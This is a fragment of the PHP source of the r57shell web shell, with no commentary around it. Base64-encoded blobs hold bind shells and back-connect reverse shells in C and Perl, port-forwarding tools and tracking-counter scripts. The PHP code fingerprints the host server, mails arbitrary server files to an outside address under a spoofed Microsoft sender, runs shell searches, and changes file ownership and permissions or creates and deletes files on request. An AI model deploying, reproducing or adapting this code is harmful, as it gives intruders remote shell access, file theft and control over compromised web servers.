+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo ''; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print ""; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo ' +
'.ws(1).'  +!'.ws(2).'r57shell '.$version.' +'; +echo ws(2); +echo "".date ("d-m-Y H:i:s").""; +echo ws(2).$lb." phpinfo ".$rb; +echo ws(2).$lb." php.ini ".$rb; +echo ws(2).$lb." cpu ".$rb; +echo ws(2).$lb." mem ".$rb; +if($unix) { echo ws(2).$lb." users ".$rb; } +echo ws(2).$lb." tmp ".$rb; +echo ws(2).$lb." delete ".$rb."
"; +echo ws(2); +echo (($safe_mode)?("safe_mode: ON"):("safe_mode: OFF")); +echo ws(2); +echo "PHP version: ".@phpversion().""; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("ON"):("OFF")); +echo ws(2); +echo "MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "ON"; } else { echo "OFF"; } +echo ws(2); +echo "MSSQL: "; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "ON";}else{echo "OFF";} +echo ws(2); +echo "PostgreSQL: "; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "ON";}else{echo "OFF";} +echo ws(2); +echo "Oracle: "; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "ON";}else{echo "OFF";} +echo "
".ws(2); +echo "Disable functions : "; +if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "
".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all).""; +echo '
+
+
'; +echo $font; +if(!$windows){ +echo 'uname -a :'.ws(1).'
sysctl :'.ws(1).'
$OSTYPE :'.ws(1).'
Server :'.ws(1).'
id :'.ws(1).'
pwd :'.ws(1).'

'; +echo "
"; +echo ""; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."
"):(ws(3).@substr(@php_uname(),0,120)."
")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."
"; +echo ws(3).ex('echo $OSTYPE')."
"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."
"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."
")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "
"; +} +else +{ +echo 'OS :'.ws(1).'
Server :'.ws(1).'
User :'.ws(1).'
pwd :'.ws(1).'

'; +echo "
"; +echo ""; +echo ws(3).@substr(@php_uname(),0,120)."
"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
"; +echo ws(3).@get_current_user()."
"; +echo ws(3).$dir; +echo "
"; +} +echo ""; +echo "
"; +if(empty($c1)||empty($c2)) { die(); } +$f = '
'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "
".$lang[$language.'_text61']."
"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "
".$lang[$language.'_text63']."
